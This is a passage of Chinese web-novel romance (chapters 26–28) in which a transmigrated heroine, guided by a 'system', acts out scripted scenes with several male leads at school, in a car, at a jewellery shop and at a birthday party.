“你确定已经上来了?” “嗯,院长打电话交代过了。” “好,记住之前统一好的,严阵以待。” 阮柚竖起耳朵听完全程,心头一紧,停在原地,下意识探去视线。 走廊末电梯前,人墙围住,什么也没有看见。 而恰逢此时,系统的提示音响起。 【重要人物到达,即将解锁新剧情……】 阮柚呼吸微屏,捏了捏手指,不自觉再次抬起头。 冷不丁地,人隙中,瞥过一张熟悉侧脸,干净、优越,不笑时,自带冷感。 少年穿着裁剪得宜的西装,被刻意拢在中间,偶尔牵起几分笑,疏离而礼貌。 似有所觉,停留不过三秒,他隔着长空,浅淡扫来了视线。 阮柚目光一闪。 所以重要人物,不是郁时漫,而是他。 第26章 第二十六章 很喜欢 少年目光一扫而过, 尔后,漠然如常,好似不经意。 阮柚不躲不闪立在在原地, 思忖着摸了下鼻尖。 这个反应,也不知道江净理究竟看见没有。 与此同时,系统声音再次响起—— 【在人群中冷不丁撞见江净理那一刻, 阮柚瞬间心虚不已、不可抑制慌了神。于是当机立断, 转身狼狈离开。】 “但殊不知,这一幕均落入一双淡漠的眼睛里, 冷漠旁观一切。” 阮柚快速默念,心里涌现隐秘的喜悦。 哦豁,翻车倒计时! 这时,系统倏然冒出来:“请宿主完善人物相关剧情。” 阮柚闻言, 下意识探去一眼视线。 此时,江净理立在人群中, 微偏着头, 人掩着, 侧颜看不清表情。 身边西服革履的男人正和他说些什么, 他不时颔首, 作倾听状。 举止言行优雅浑然,挑不出半点错。 一伙人正朝着这边走近。 阮柚飞收回视线,按照预演方向转身, 步履匆匆, 用背影演绎着’逃之夭夭’ 一切比想象的顺利, 她平缓着呼吸,将身后热闹抛在耳后。 直到—— 在拐角后下一秒,肩膀处冷不丁撞到来人 因着奔走惯性, 她一个重心不稳猛退半步,等到身形站稳时,胳膊被陌生手掌搀起。 握得极牢,又在站定后,缓缓松开力道。 阮柚很快站好,心定住,道歉又道谢。 而抬头时,却微怔了一下。 面前的男人……越看越眼熟。 对面,成尧似乎也有些意外,轻声,“是你。” 阮柚斟酌:“好巧。” 他,怎么会一个人在这里? 男人一身冷黑色调,口罩随意扣在下颌,一敛先前精英做派,垂握起手机,气质几分松散。 这样的视觉上,倒是和成玉多了重合。 成尧垂眸,放淡声音:“我过来会熟人,你呢?” “我?” 阮柚停了下,大脑快速运转,含糊道,“也差不多吧。” 熟人,不会是江净理吧。 对待突如其来的变数,她本能持着多说是错的原则。 趁着话题抛过来,她不再多想,很快截断两人的谈话。 阮柚淡笑了下,“我还有事,先走了。” 成尧点头,声音利落,“那么,再见。” 临别时,阮柚步子微滞,最后转过身,“对了,还有一件事。” 上次的事,她还没有说谢谢呢。 成尧回过头,平静看着她。 阮柚语调认真:“谢谢你上次救了我。” 他想了想,尔后道,“你没事就好,不客气。” 成尧有一搭没一搭地敲弄手机,看着眼前心境如白纸的少女。 更何况,一切尘埃落定后,他能一下欣赏到,那么多有趣珍贵的反应。 辞别后,阮柚抬头看了眼天空。 天色一片混沌的白,风习习吹,乌蒙蒙坠落下雪花。 阮柚抬手埋了埋衣领,回头,远远看了眼熟悉的楼层方向。 漫画里,极少笔墨提及小阮时,包括这次心脏手术。不过有了著名专家坐镇,应该不会有多少差错。 不多时,脸颊微微覆雪,逐渐融化成水。 阮柚抖了抖睫毛,视线定了定,被窄路冬树下,坐着小雪人吸引住视线。 这也!太可爱了吧。 她半蹲下身,百无聊赖指了指红鼻子,是衣服的纽扣,凑近看,中间还翘着一缕毛线。 回去路上,阮柚偶然想起,记忆中,她也曾在一片雪地下堆雪人。 记忆一晃而过,抓不住,只剩覆在手背处的一只手,温热、耐心。 唔。 想不起来,那就暂时不想了。 阮柚在路边等着车,听见系统任务成功的通知后,稍稍松了口气。 【完善剧情成功,奖励真心卡一张,金币x20】 她捏了下冰凉的手心,闻言,注意力被金币奖励吸引。 ……20个!这么多! 在经历过任务失败扣除金币后的现在,阮柚逐渐看清生活很俗的本质—— 她不能失去金币奖励! 她嗯了声,清了清嗓,目光远眺,努力保持矜持。 系统:……唇角别忘了压一下。 等车百无聊赖时,阮柚难得清净,低头扫了眼手机。 不久前自己匿名发在论坛的合照帖子,当时未经发酵,不到一分钟就被撤了。 背后手笔源自谁,不用猜都能知道。 她却迟迟没有等来江净理的反应。 不知为何,许多剧情都在他那空了一环。 阮柚甚至错觉,他好像什么都知道,却又什么都没有做。 思及此处,她甩了下脑袋,这怎么可能呢。 压根不符合逻辑。 而正值此时,眼前视野微微暗下。 有车驶来,后经停下。 周围风声略微降下,只有偶尔腾落的冷气。 阮柚下意识抬眸,尔后,心漏了半拍。 黑色商务车上,后车窗缓缓下落,少年熟悉眉眼露出,出声,“上来,外面冷。” 口吻几分利落,一瞬不瞬望着她,态度几分不容置疑。 “江……江净理?” 冷不丁见到近在咫尺的任务对象,阮柚微微瞪大眼睛,甚至念名字都开始觉得烫嘴。 他不是在医院么,怎么又过来了! 她摆了摆手,脱口而出,“不用了,我等的车快到了。” 江净理胳膊闲闲搭在窗沿,道,“路封了,暂时不会有车过来了。而且,我们作为圣煜校友,要互帮互助不是吗?” 少年说得不急不缓,极具耐心。 前排司机虚虚咽了口空气,透过后视镜,和身边的助理对视了一番。 路封了?是记忆出了错。 还是……罢了罢了,不敢想、他们不知道。 没多久,车门被打开。 顶着一道炙热的视线,阮柚平静坐正,小声道了声谢。 算了,既来之,则安之。 心这样想着,阮柚望着缓缓上升的车窗,隔了两秒后道,“就顺路把我送到附近商场就好,谢谢你。” 江净理挑眉,声音很轻,“商场?” 边说话时,少年左臂随意微撑,慢条斯理凑近俯身,睫垂下,清冽气息兀自延长靠近。 几分气息无意落在她发凉的脸颊,温热来得突兀清晰,又毫无缓冲时间。 阮柚下意识蹙了下眉,指尖蜷握在手心,极不自在别过视线。 尔后,头顶轻笑拂来,又转瞬即逝。 “在想什么?” 阮柚闻言,眉心一跳。 可恶……他绝对是故意的。 视线微定,顺着对方收拢的动作望去,只见江净理重新坐正,将手里东西随手掷在一旁,说话时,眉眼闪过冷淡。 “支持禁/烟令,私下却有烟瘾。” 阮柚扫过视线,认出是一盒拆封的香烟。 捕捉到对方外露的情绪,她心底有些意外。 少年冰冷昭然若揭,像埋在一片黑雾,深不见底。 而副驾驶,一位男人瓮声瓮气,“少爷,江先生有自己的考量。” 江净理牵了下唇,黑发攒靠座位,垂眸,不置可否。 像是踩到某处禁制,车内气氛陡然降了下来。 一切好似静止,只剩窗外疾驰而逝的风景。 阮柚不动声色侧了侧身,抿唇目不斜视。 呜,怎么还没到。 而很快,她听见自己的名字,对方念的很轻。 “阮柚,你还没有回答我。” 江净理问。 少年语调认真,不知何时,敛去一切冷漠。 阮柚抿了下唇,如实道:“打算去挑些礼物。” “成玉邀请你了?” 见面前少女一怔,江净理抬唇笑了下,自顾自道,“这不难猜。” 阮柚默默点了两下头。 她目光闪了闪,很快,决定旁敲侧击,“你怎么会出现在那里呀?” 唔,快点拆穿她! “临时被母亲喊去了。” 江净理顿了下,掀起眼皮,嗓音平静,“看来你都看见了。” 阮柚抿了下唇,抵唇清嗓,“嗯,我看见了。” 所以快来拆穿她! 她专注望着对方,心中期待又紧张。 而很快,江净理看着她的眼睛,缓缓出声,“挺好。” 阮柚眨了眨眼睛:……? 少年微微凑近,下颌微抬,眉眼专注,“你见过最完整的我,阮柚。” 他继续道,“所以,只有你是不一样的。” 你是不一样的…… 一样的… 的…… 阮柚长吸了口冷气,轻甩了下头,竭力恢复至清醒。 她低着头,重重踩在雪面。 什么鬼!男主大人脑回路总不按照正常来。 系统:检测到任务完成度:百分之百。 听到系统的话,阮柚彻底泄气,转而深思。 他明明都看见了呀,可为什么半句话都没问呢? 反倒一直说奇怪的话。 不再多想,阮柚想到此行的目的,跟着人潮往商场走。 正值休班时间段,商场一片热闹活跃,流行音乐不时鼓噪在耳畔,冷清一扫而过。 阮柚穿梭在人群,很快,定位在一家手工珠宝店。 进去看看吧。 走进后,她很快感受到一道视线袭来。 顺着望去,是穿着蓝卫衣的林顿星。 对方眼底划过亮光,和身边试戴项链的女生说了几句,很快,先导购一步小跑了过来。 “阮柚。”林顿星声音明亮轻快。 很快,他停住,“没想到在这里遇见。” “嗯,好巧呀。”阮柚礼貌弯唇一笑。 林顿星:“我是来陪我姐挑项链,你呢?” “我是……”阮柚迟疑了下,还是说了出来,“过来给成玉挑个礼物。” 她是想,既然答应了要去,总不能空手去吧。 而话一说完,林顿星俨然一楞,很快,声音微肃,“顾叙他……知道这件事吗?” 阮柚脚步一顿,茫然地扭头看过去。 眼里明晃晃写着:这和他有什么关系。 完全想不到牵连。 林顿星被这样盯着,脸颊一烫,摸了摸脖颈,“我也不知道为什么这么问,大脑短路了。” 阮柚淡淡抿唇,轻声道,“我先去看看。” 听着导购一一介绍后,阮柚神色平静,视线悠悠然落在玻璃中央的蓝宝石胸针。 温和暖光下,沉静如海,溢彩流光。 导购注意到这点,微笑道,“这位小姐眼光真好,一眼就看见热门的珍品。” 阮柚微微颔首,唇角笑意在看清价格后淡去。 救! 怎么这么多零。 林顿星低头看,声音狐疑,“我记得成玉去年收到了好几块类似的,应该……” 剩下的话,委婉到不言而喻。 阮柚微微阖了下眼皮,尔后,捏拳忍痛,“好,我要了。” 林顿星眨眼:……? 以为没戏的导购:……!! 阮柚转过身,微笑解释,“我觉得这样不会出错。” 而真相是—— 她只是去打个酱油,怕的就是礼物能留下印象。 / 次日,天空放晴 阮柚侧头埋在臂弯,手指百无聊赖地撩动着窗帘。 阳光静谧抖落在眉间,慵懒而温暖,让人心生困意。 一直到,她想起迫在眉睫的任务。 垂死梦中惊坐起! 阮柚伸出右手,喝了一口温水,将先前有些混乱的思路努力理顺。 正值自习课,身边,顾叙正低头看书,脊背挺得很直,眉宇柔和干净。 俨然看得极其认真、入神。 阮柚缓缓坐正,升起几分心思,大脑飞速运转。 假设代入顾叙身上,如果看书正沉浸时,被莫名多番打扰,一定会不爽吧! 心里这般思忖着,她攥着笔,微微伏起手臂,想要有所动作。 而恰逢此时,桌前,一只骨节分明的手压过来一张纸。 手掌离去,字迹安静显露出来。 只有简单的三个字,“专心些。” 阮柚捏了捏拳,很快别开视线。 他不是在看书么,什么时候看过来的。 课间,顾叙正低着头,解着步骤复杂的奥数题。 阮柚安静撑着腮,余光缓缓地探了过去,唔,应该算到关键的一步了吧? 意识到这一点后,她很快翻出课本,清了清嗓,声情并茂地念起文言文。 甚至怕对方听不见,偶尔凑过去,带起一阵糟糕的微风。 疯狂试探,底线横跳。 前桌见状,忍不住回头出声,“阮柚,顾叙在解数学老师出的题呢,你在这里念……” 终于有人看不下去了! 阮柚心中微喜,抱着书眨眼,脸不红心不跳。 盼着顾叙的反应。 而果不其然,身边传来笔身落在桌面的轻响。 阮柚不自觉屏气凝神,等待着他的反应。 “没关系。” 身边,顾叙缓缓抬起头,安静看向她,嗓音带笑,“我很喜欢这样的氛围。” 阮柚睫毛一抖,尔后,手中的书颤巍巍落在怀里。 很喜欢……这样的氛围? 她没听错吧。 还未来得及反应,少年站起身,停下,伸手晃了晃她的粉色保温杯。 “又空了,我给你打。” 动作熟稔。 觉察到几道好奇探来的视线,阮柚下意识忙道,“不用了!” 顾叙笑意未改,语调认真,“念了这么久课文,需要喝些温水。” 阮柚一哽:“……” 周围竖起耳朵偷听的人:! 下午自习课,阮柚苦心冥想。 每一步都是按照剧情践行,但收效依旧不尽人意,到底是哪里出了问题。 她看着错乱如麻的草稿纸,忍不住叹了口气。 “怎么了?” 欸? 阮柚一怔,很快被顾叙刻意压低的声音钩去了注意。 她顺着对方笔尖跃动的方向望去,白色纸张上,是少年熟悉的字体:“见你一天都魂不守舍,有什么不开心吗?” 阮柚目光一顿,朝他摇了摇头。 而很快,从斜刺方蓦地伸出一只手。 她心头猛地一紧,不好的念想瞬间凝结心头。 不是吧! 怕什么来什么,很快,许老师的声音从头顶响起,语气严肃。 “不遵守纪律,都出去。” 周围同学咻地探来视线,不是吧,竟然是顾叙? 阮柚登时脸颊发烫,唇动了动,正要出声之际,顾叙率先出声。 “老师,是我主动和阮柚说话的,和她没关系。” 少年声音谦卑、冷静。 许老师是圣煜出了名的严肃,并未动摇,“你们是同桌。” 说罢,转身离开。 两人一先一后离开了教室。 正值上课期间,圣煜走廊里,空气安静游动。 “对不起。” 顾叙立在她身边,侧低下头,毫无征兆道。 阮柚目视前方,笃定而认真,“你不用和我说对不起。” 她顿了下,又轻道,“是我一直在打扰你。” 话说完,身边一声轻笑。 阮柚困惑抬头,撞入一双深灰色眼睛,深邃沉静。 他一直在看着她,不知在想些什么。 现在为什么要笑? 很快,阮柚将这个疑惑抛在脑后,抿了下唇,趁热打铁出声。 “要不然,我调走吧?” “和你做同桌,我很开心。” 两人声音很轻,几乎异口同声,却是截然相反的意思。 阮柚心空了半拍,眉头松了又皱,目光迟疑。 顾叙心底划过意外,很快,唇角带笑,“想什么呢?” 他再次强调,“我从没觉得你会打扰我。” 而且,这是他来之不易的机会。 阮柚杏眼微闪,迅速编辑着话语,“其实……” 正值此时,下课铃声响起,周围很快热闹了起来。 顾叙轻笑了下,眼睛一抬,放远,“楼下应该很热闹。” 阮柚下意识问:“嗯?” 顾叙:“江净理母亲要来,在排练欢迎仪式。” ……还有欢迎仪式? 唔,好有排场。 顾叙:“你也感兴趣吗?” 阮柚知道他指的是挑代言人的事情,于是想都没想,就点了点头。 按照原身人设,自然该是感兴趣的。 顾叙微微点头,收回视线,“因为他吗?” 阮柚不自觉歪了歪头,“谁?” 顾叙一顿,缓声,“这里很多人都很欣赏郁阿姨。” 阮柚闻言,囫囵点了点头,“没错没错,我就是因为她。” “知道了,加油。” 顾叙笑意浅淡,最后,鼓励了一声。 阮柚跟在顾叙身边走回教室,越走越觉得不对劲。 即将踏入时,她后知后觉拍脑袋想起,还没有让顾叙结束同桌关系呢! 救命TvT 系统仰天:……完全被对方带偏的宿主,不知道该不该提醒。 / 成玉生日当天傍晚,阮柚光荣堵在了半路。 电话那头,成玉声音悠悠传来,“没关系,前面环节真的很无聊。” 阮柚开车窗吹着冷风,闻言,还是有些愧疚。 刚想说些什么,车流再次缓缓驶动,冷风迎面打来。 “应该不堵了。” “嗯,我等你。” 电话结束后不过十五分钟,很快抵达了目的地。 阮柚握着礼物,抬眸,听见有人叫她。 是成玉。 少年独自站在路灯下,颀长身形拖落地面,黑发微凌,笑容粲然。 “我在这。” 阮柚朝他走近,“怎么出来了?” 成玉:“在这等你。” “这是你给我的礼物吗?” 还未等阮柚说话,对方再次开口,视线落在她的左手。 阮柚将礼物递给他,“生日快乐。” “谢谢,能现在拆开吗?" 阮柚抬头看着他,慢慢点了点头。 唔,当着面拆,莫名有些心虚。 礼盒缓缓打开,蓝宝石胸针躺在中间,倒映着周遭的繁华灯火。 “我很喜欢。”成玉翘了敲唇角,手指轻捻,笑了下,“你能帮我戴上吗?” 欸? “好。” 一个很简单的请求,她自然没有拒绝,手指三两下轻动,胸针缀在少年尚未换的礼服上。 少年唇角笑意更甚。 “这是我今年最喜欢的礼物。” 阮柚亦步亦趋跟在他身边,闻言一愣。 不、不至于吧? 这么想着,电梯门打开,两人抵达顶楼包间。 成玉:“差不多都是我的朋友,不用紧张。” “他们应该在玩游戏。” 阮柚欲言又止,其实她本来想送个礼物,就混出去…… 进入包间后,眼前世界登时暗下,舒缓的音乐飘荡耳际,氛围轻闲自在。 和成玉说的不假。 “呦呦哟,大寿星回来了!” “成玉,我刚大冒险回来,你人怎么就不见了。” “你没看见他滑稽的样子,真的太可惜了!” 成玉:“行了,正经点,我给大家介绍一下。” 阮柚闻言扭头,不好的预感浮上心头,果不其然,一圈人各异的目光投了过来。 成玉笑得意气风发,介绍道,“这是我的朋友,阮柚。” 阮柚僵硬抿了下唇角,听见周围不带恶意的欢迎、起哄声。 在耳边混杂成片。 等到在软座落座时,一个不期然,在对面沙发,看见了顾叙。 对方神色疏朗,笑意碎落眼底,风轻云淡。 眼皮重重一跳。 她沉默移开视线,又一个不期然,撞见角落陆离光影下,极其相似的轮廓。 包厢光线错落下,少年轮廓愈发分明,眼皮微微耷拉着,情绪难辨。 阮柚差点挂不住表情,最后的侥幸跟着破灭。 她埋着头,盯着桌子看,想着之后该如何脱身。 “继续吧。” 恰逢此时,斜对面,江净理稍稍坐正,缓缓出声,“真心话大冒险。” 成玉啧了声,却是没再说什么。 他只是随手群发了个邀请,没想到对方还真来了。 阮柚正襟危坐,眼观鼻鼻观心。 最终,转盘指针缓慢停在顾叙面前。 顾叙笑了下,无奈伸了下手,“真心话。” 对方从箱子里掏出纸条,一字一句念出声,“你想见我吗?” “什么问题呀。” “好无聊。” “早知道刚才就选真心话了!” 顾叙表情无辜:“不想。” “嘁,无情的男人。” 游戏转了一轮,很快,轮到她拨弄转盘。 被氛围感染,阮柚见状专注几分,俯身,手指轻拨。 最终,缓缓停在…… 江净理身上。 “真心话好了。” 阮柚抿唇,掏出那张皱成团的纸条,缓缓展开。 “你讨厌我吗?”她平静念出声。 周围声音不知何时降了下来。 身边,成玉突兀笑出声,有些漫不经心。 正值此时,系统声音响起:“检测到细节关键词,请问是否使用真心卡?” 阮柚眉心微动,心下有些新奇,想了想选了是。 还没用过呢。 斜对面,江净理顿了下,嗓音轻淡,“不会。” 一切落定后,周围氛围重新热络。 正当她以为一切都过去时,一道声音扫过耳际,飘在空气中,淡若未闻。 很喜欢…… 第27章 第二十七章 人齐了 划过耳际时, 阮柚不自觉摸了下耳廓。 那道声音,是幻听了吧? 而下一秒,系统音响起:“真心卡回收完毕, 剩余x1” 阮柚捏了下手心:“……” 希望泡影被捏灭。 她抿了下唇,不动声色别开视线,脑海飞速滤过那三个字。 ……很喜欢? 偌大包间里, 游戏照常在进行, 灯光摇曳,友人谈笑风生。 除了她忽然听到的插曲, 打乱一切思绪。 阮柚看着拨转的转盘,眸轻垂,余光隐隐感知到一道扫来的视线。 在周遭微暗光线下,浓烈直白, 让人无法忽视的存在。 即使迟迟没收到回应,却仍持着足够耐心。 阮柚端坐原处, 听着一派热络, 竭力保持平静。 确定不是错觉后, 她吁了口气, 止不住胡思乱想。 直到, 记忆里灵光乍现,短暂抓住清明。 一切戛然。 对了! 照漫画剧情看,男主大人现在还以为她救了他呢! ……唔, 所以? 阮柚眉心微动, 手落在膝面上, 很快串联成逻辑。 假使等到真相大白的话…… 正这般想着,面前,传来小范围躁动起伏。 她抬起头, 尔后,注意力被吸引而去。 原来桌上的转盘指针悠悠停在成玉面前。 身边,成玉轻耸了下肩,笑得无所谓。 作为今日的寿星,好心情都写在脸上。 少年挑了下眉,微坐直身,淡声,“怎么都选真心话,既然这样,那我玩大冒险好了。” “啧,那我可不客气了。 对面男生说罢,郑重清桑,念得拖腔带调,“……和坐的最近的女生,深情对视二十秒钟,不准中断。” “哇唔~” 此话一出,有人反应夸张,言语间尽是期待、八卦。 阮柚一怔,尔后,下意识往左边看了一眼。 对角线处的长裙女生挽起鬓间碎发,正友善地朝她微笑。 她抿起唇,自然而然,又往右看了一眼。 侧方位的短发女生晃着杯酒,正调皮地朝她眨着眼睛。 阮柚唇越抿越直,最后,笑容僵在唇角。 默默缩回视线后,发现不多时,周围几乎都看了过来。 包括身边成玉,视线相迎那刻,桃花眼里全然倒映着她。 安静、专注。 不言而喻。 阮柚睫毛一颤:……! 不要呀! 然而,未等她出声,一阵熟悉男声先她一步,倏然答道。 寥寥几字,冷清而利落。 “不可以。” 一时间,周围瞬间安静到好似耳鸣。 成玉微眯了下眼睛,隔着空气,冷淡扫去视线。 之前发起的男生一瞬愕然,目光飞速跳转,不知在思索着什么。 却是除了当事人,谁也没有出声说话。 阮柚如坐针毡,顶着一遭灼热目光,‘悔’这个字在心中写了无数遍。 早知道这样,她就不来了! 成玉不动声色,启唇,“凭什么你来替她回答。” 江净理静静平视:“就……” “等一下。” 对话还未结束,阮柚忽然从座位站起。 见两人不约而同看过来,她保持着面不改色,将心底酝酿好的话说完,“我……有通重要电话过来,现在得出去回个电话,不好意思。” 所以确实不可以。 话语尽量滴水不漏,努力将话拼成逻辑。 斜刺里,江净理抬眸看向她,尔后,轻点下巴,“好啊。” 成玉侧过头,眉松开,弯了下嘴角,“嗯,好,重要的事要紧。” 阮柚微微点了头,小声道了声再见。 最后,头也没回,小碎步从包间跑远。 只剩屏气凝神片刻,又迟迟没再等来八卦的旁观友人。 / 在越过露天阳台时,阮柚的步伐缓缓停住。 夜幕已至,霓虹闪烁天空,繁华、浩瀚,宛若不夜之境。 阮柚撑肘吹风,远眺,脸颊冷却后,渐渐淡下几分躁意。 本想借着这个空闲,打电话问一下阮时情况时,系统熟悉的声音再次响起。 与此同时,脑海展开一段剧情。 阮柚瞬间凝神,快速扫过突兀降临的剧情。 【在无意听见成玉和江净理那段谈话时,阮柚觉察到这是个不容错过的大秘密。于是乎,她心下一计,手指仿佛控制不住般,默默点开了录音。哪知,还未点开,就被身后路过的服务员当场抓包。】 “场面十分的尴尬、压抑。” 阮柚盯着最后那一行,默默地念了出来。 唔,确实是修罗又社死的翻车现场。 可是,她怎么记得这段剧情在后面呢? 系统出声:是的哦,宿主提前触发了。 这样呀。 一不做二不休,阮柚重新振奋精神,很快转过身,顺下被风吹翘起的发丝。 是什么重要谈话? 她不免跟着好奇起来。 循着系统指引的方向,阮柚越过吸烟室外走廊微缭的烟雾,摸了下鼻尖,安静径直走去。 即将踏入一片敞亮清寂的休息厅时,她的脚步微微滞住。 这里离包间仅隔着半条走廊的距离。 “他来找我了,成玉,你知道这意味着什么。” 是江净理的声音,很淡,显得毫无起伏。 阮柚竖起耳朵,从口袋摸索出手机。 很快,响起成玉的微嘲,“是啊,成尧的野心,永远都不会满足。” “你想说什么?” 少年似意识到什么,警惕般,讲话锋一转。 三秒后,声音再次响起, “我可……只要你离……” 一墙之隔处,阮柚低头看了眼屏幕,录音界面上,时间数字正飞速掠动。 她呼吸微屏,缓缓在心中倒计时,暗自等待命运的审判。 而不多时,耳畔拂过一阵温热气息,似是有人沉默凑过来,在身边兀自笼下阴影。 “怎么在这里?” 闻其声后,阮柚脖颈一僵,尔后,缓缓探去视线。 救! 怎么过来的人是他。 身边,顾叙因着身高优势,仅一个低头,就将一切一览无余。 少年不经意扫过她发亮的屏幕,薄唇微抿,眼底闪过疑惑…… 还有转瞬即逝的复杂。 …… 啪嗒。 略微静止的动作里,手机直直跌在鞋尖,稍弹地板的动静,终唤回了她的理智。 阮柚咬了下唇,赶忙俯身拾起。 隔着空气,最终先对面伸出的手臂一步,以迅雷不及掩耳之势将其缩回怀里。 好险。 等等,对面—— 视线定了定,阮柚眼皮重重一跳。 人齐了。 面前不远处,成玉挑了下眉,嘴唇翁动,“为什么你……” 阮柚目光来回看,怀里捂着手机,很快反应过来,决定按照剧情流程走。 “对不起,我不是故意的,我、我这就删除。” 她飞速念着台词,耷拉下脑袋,声音愈来愈小,越念越心虚。 仔细感受起尴尬、压抑的氛围,等待着即将卷来的审判惩戒。 成玉的身后,江净理缓步走来。 步伐停住后,少年嗓音极淡,问,“所以都听到了吗?” 嗯? 阮柚眨了眨眼睛,很快,求生欲极强摇了摇头。 很明显,对方在审问她。 觉察这点时,她扒着微微发烫的手机,抬起头,疯狂为自己的行为狡辩。 面面相觑时,她努力克制内心雀跃。 耶,终于翻车了! 然而不多时,头顶处,蓦地被一只手轻揉而过。 顺着倏然暗下的视野,熟悉的冷香浅淡袭来,清冽、干净,瞬间裹挟鼻息。 少年低着下巴,喉结微动,声音带笑,“……那你的答案呢?” 成玉蹙了下眉,横过两人中间,沉下声,“江净理,离她远一点。” 身边,顾叙伸出手一拦:“不要吓到她。” 动作不自觉地,呈现起保护的姿态。 阮柚神色复杂。 江净理不动声色垂眸,只看向两人身后,少女微掩的身形。 好吵。 这边,她还未反应躲闪开,对方的手心就从头顶离开。 阮柚咬了腮间软肉,抿起唇,切实感觉到什么叫虚晃一枪、和无能狂怒。 一不留神,又被暗算到了! 她快速整顺微凌的头发,脸一侧,忍不住用最冷漠的眼神看了江净理一眼。 警告、恫吓! 情绪不言自明。 而这边,接收过视线后,江净理笑意未改,睫垂下,于虚空指了下她怀里的方向。 见状,阮柚心口一烫,不好的念头凝上心头。 果不其然,气氛安静之际,手机微弱的音量逐渐显露出声音。 顾叙目光一顿,皱了下眉心,循着那道略微断续的声音望去。 是刚才的录音,不知何时,被误触着点开播放。 阮柚正要关闭前,握住的手机里,恰好响起一阵熟悉的谈话,时断时续。 “….是我的。” “可你凭什么和我抢。” 第28章 第二十八章 书呢? 声音从指缝溢出, 随着凝滞氛围,在空气愈发清晰。 直到最后,对话里, 出现再熟悉不过的名字。 阮柚心惊的一跳,头埋地极低,飞快按下暂停键。 “我、我这就删除!” 直觉告诉她, 再这么听下去, 要出大问题! 手机声音就此戛然。 而几乎同时,面前, 倏然一只手截住她的动作。 “不用了。” 阮柚盯着发热手腕,条件反射触而一缩,而身边少年则感受到力道,很快松开手指。 成玉顿了下, 垂睫,“这没什么好删的。” 很快, 又道, “如果喜欢, 就存着吧。” 喜、喜欢? 她唇角一僵, 不自觉抬起脑袋, 尔后,不期然撞入对方的眼睛。 确定毫无戏谑、嘲讽,而是纯然认真后, 她的记忆点, 莫名拉至刚才划过那道男声上。 短暂录音的最后, 成玉完整念了遍她的名字,也是类似的语气、口吻。 又隐约带着截然不同的意味。 阮柚心乱如麻,却又无暇去想。 她飞速扫过身边若有所思的顾叙, 唇抿紧,重重捏了下手心。 喜欢、保存。 两个字眼在脑海反复徘徊,飘来飘去。 阮柚可以发誓,她绝对没有类似这种奇怪的收集癖/好。 此时此刻,她耳观鼻鼻观心,只想回去敲木鱼静心。 TvT 正当思绪成功跑偏之际,系统一道电子音,重新唤回她所有理智。 一瞬间,像是扑腾水中的人抓住绳子——救命稻草! 系统:恭喜宿主任务完成,奖励剧情修正卡x1,金币x10。 修正剧情的任务成功完成,压着的重石也就此凭空消失。 于是乎,一不做二不休,阮柚指尖飞动,低头,当着三人的面将那段录音删除。 正要示意之际,不远处,安静良久的江净理歪了下头,忽然问,“为什么删除?不需要。” 对方敏锐察觉到她的动作。 阮柚一顿,眨了眨眼睛:……? ……不需要? 尔后,她唇角微绷,一时没有说话。 她下意识想到刚刚混乱中听到的谈话,逐渐拼凑眼前。 越想越觉得不对劲,潜意识间,不太好的念头浮现成型。 似是照应这个念头,一时,三人均不约而同投来视线,无声发酵着什么。 阮柚被盯得极不自在。 而斜对面,少年平静掀起眼皮,手搭在兜里,嗓音轻而淡,“阮柚,我想……”!? 阮柚直觉不妙,脚步黏在原地,脊背挺得僵直。 电光火石间,系统忽然解锁上线:检测到剧情即将较大变动,请问是否使用“剧情修正卡”? 阮柚闻言一亮,猛地攥住曙光,毫不犹豫。 是!! 她最怕所谓的“较大变动”。 话音刚落,周遭一瞬静止。 宛若走马观花,世界线推移,翻页,又逐渐收束。 再次睁开眼时,头顶处是浓郁夜色,车水马龙,灯火在雾色下凝成薄纱。 是初来时的地方,位于会所的外面。 而很快,身后响起一阵来往调笑声。顺着声音望去,均是包间见过的熟悉面孔。 现在,已然到了该道别的时候。 阮柚心定了定。 听见他们友善的告别,她礼貌弯眼一笑,朝空气挥手。 转身后,她耷下微僵的肩膀,微微舒了口气 好在最后关头,在不受控边缘,听到系统的提醒。 江净理最后,是想要和她说什么? 阮柚抿了下唇,睫毛垂下,很快将这个念头一甩而空。 无论是什么,现在已经不重要了。 本打算径直离去之际,不远处,有人叫住她。 步伐倏然一停。 无需辨认就知道,是顾叙的声音。 回过头,她努力保持面色如常,望着兀自朝自己走近的顾叙、江净理两人。 无疑,两人容色气质上乘,在哪都是焦点。 阮柚听见路人低声议论,身形微不可察觉一退,微掩在电线杆后。 世界清净、明亮了些。 冬夜的风冷清萧瑟,吹的人脸颊生疼,她低头埋了埋下巴,平静等来了两人。 视线定了定,她原地站着,斟酌接下来的话。 然而不期间,面前,微蜷长指勾过她的发丝,拨落过脸颊,拂来淡淡热意。 对方的动作自然、即逝。 阮柚睫毛抖了抖,抬头,迎上动作源头。 眼神昭然若揭。 江净理顿了下,嗓音带笑,“我也不知道为什么。” 只是心里有那么道声音。 阮柚:…… 她捏了下手心,微吁气,来回看向两人。 “我要回去了,再见。” 顾叙:“我送你。” 江净理:“那一起吧。” 听见几乎重叠的声音,阮柚不由得心口一跳,拒绝的话已然悬在喉间。 而恰逢此时,一道手机铃声响起。 很陌生,不是她的。 循声望去,对面,江净理扫了眼屏幕,眼底情绪逐渐敛淡。 很快,他抬手接起,人走到一旁前,示意阮柚停下等她。 她浅淡翘起唇角。 等他?才不呢。 而斜对面,顾叙无声望着眉眼灵动的少女,心口微微一烫。 “天晚了,自己回去不太安全。” 阮柚笑了下:“没关系,我离这里不远,放心吧。” 顾叙眉心微动,眼底写着些许不赞同,正要说些什么,忽然,被一道扫来的车灯打断。 阮柚朝他晃了晃手机,尔后,弯起眼睛,“打得车到了,再见。” 唔,幸好提前安排好了! 而这边,阮柚人走后。 打完电话后,江净理走了过来,并无意外,淡淡问,“记下车牌了?” 顾叙语气如旧:“嗯,这不需要提醒。成玉人呢。” 江净理:“被家人喊去了,时间不早了,我先走了。” 顾叙微微颔首,抬手,松了下系紧的领带。 假设没看错了话,刚才对方一闪而过的手机壁纸,是一张男女的合照。 看上去,异常刺眼。 / 开学后,阮柚坐在学院礼堂听着奖学金表彰,赫然听见自己的名字。 原来是上次考试的奖金下来了。 圣煜作为贵族学院,财大气粗,即使是二等奖的她,也获得了一笔不小的金库入账。 身边,李稚夸张托着腮,“富婆,求投喂!” 阮柚点点头,不假思索,“可以呀。” 这边她刚说完,李稚似乎还想说些什么,却因余光扫过的人影生生咽下。 “嘘,查记律了。” 阮柚闻声坐正,循着方向,看向一身学院制服的顾叙。 对方从她面前走过,专注、严肃,一尘不染。 